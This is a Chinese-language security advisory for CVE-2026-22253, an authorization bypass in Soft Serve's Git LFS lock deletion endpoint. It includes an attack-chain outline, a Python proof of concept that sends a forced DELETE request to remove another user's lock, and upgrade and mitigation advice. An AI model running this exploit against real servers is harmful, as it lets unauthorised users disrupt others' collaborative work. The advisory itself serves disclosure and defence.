IPBUF安全漏洞报告
English
CVE-2026-22253 CVSS 5.4 中危

CVE-2026-22253: Soft Serve LFS锁删除授权绕过漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-22253
漏洞类型
授权绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
charmbracelet/soft-serve

相关标签

授权绕过LFS锁Git服务器Soft ServecharmbraceletCVE-2026-22253

漏洞概述

CVE-2026-22253是charmbracelet/soft-serve Git服务器中的一个授权绕过漏洞。Soft Serve是一个用于命令行的自托管Git服务器。在0.11.2之前的版本中,LFS(Git LFS)锁删除端点存在严重的授权绕过问题,允许任何已认证且具有仓库写权限的用户通过设置force标志来删除其他用户拥有的锁。漏洞的根本原因在于代码执行流程在获取用户上下文之前就处理了强制删除操作,从而完全绕过了所有权验证机制。攻击者只需拥有仓库的写权限,即可利用此漏洞删除任意用户的LFS锁,可能导致协作工作流程中断或数据丢失。由于Git LFS锁机制用于协调大文件访问,此漏洞对多人协作项目构成实质威胁。

技术细节

漏洞存在于Soft Serve的LFS锁删除处理逻辑中。当处理LFS锁删除请求时,代码首先检查force参数,如果force为true,则直接进入删除流程,而在此之前并未验证当前用户是否为锁的拥有者。正常的安全流程应该是先获取当前认证用户的上下文,然后验证该用户是否有权限删除目标锁(通常只有锁的拥有者或管理员可以删除)。然而,漏洞代码在获取用户上下文之前就处理了force删除请求,导致任何具有仓库写权限的认证用户都可以通过添加force=true参数来删除他人的锁。攻击者需要发送一个带有force参数的DELETE请求到LFS锁删除端点,请求中指定要删除的锁ID。服务器会错误地允许此操作,即使请求者并非锁的所有者。修复方案是调整代码执行顺序,确保先获取用户上下文并进行权限验证,然后再处理删除逻辑。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行Soft Serve Git服务器,并确定目标仓库中存在其他用户的LFS锁
STEP 2
步骤2: 认证获取
攻击者获取目标仓库的写权限(通过合法渠道获取账号或利用其他漏洞)
STEP 3
步骤3: 构造恶意请求
攻击者构造DELETE请求到LFS锁删除端点,添加force=true参数
STEP 4
步骤4: 发送漏洞利用请求
发送请求后,服务器在验证用户上下文之前处理force删除,跳过所有权验证
STEP 5
步骤5: 锁被删除
目标用户的LFS锁被成功删除,可能导致文件访问冲突或协作中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-22253 PoC - LFS Lock Deletion Authorization Bypass # Target: Soft Serve Git Server < 0.11.2 # Attack: Authenticated user can delete locks owned by other users TARGET_URL = "http://target-server.com" API_TOKEN = "your-authenticated-user-token" TARGET_REPO = "vulnerable-repo" TARGET_LOCK_ID = 123 # Lock ID owned by another user def delete_lfs_lock_with_force(): """ Exploit the authorization bypass in LFS lock deletion endpoint. The vulnerable code processes force deletions before validating ownership. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Vulnerable request: force=true bypasses ownership check payload = { "force": True # This flag triggers the vulnerability } url = f"{TARGET_URL}/api/v1/repos/{TARGET_REPO}/lfs/locks/{TARGET_LOCK_ID}" print(f"[*] Sending malicious lock deletion request to: {url}") print(f"[*] Target lock ID: {TARGET_LOCK_ID}") print(f"[*] Force flag: {payload['force']}") response = requests.delete(url, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 204: print("[+] VULNERABLE: Lock deleted successfully via authorization bypass!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": delete_lfs_lock_with_force()

影响范围

soft-serve < 0.11.2

防御指南

临时缓解措施
立即将Soft Serve升级到0.11.2版本。临时缓解措施包括:限制具有写权限的用户数量,监控LFS锁删除日志以检测异常删除行为,在应用层添加额外的权限验证逻辑,或暂时禁用force删除功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表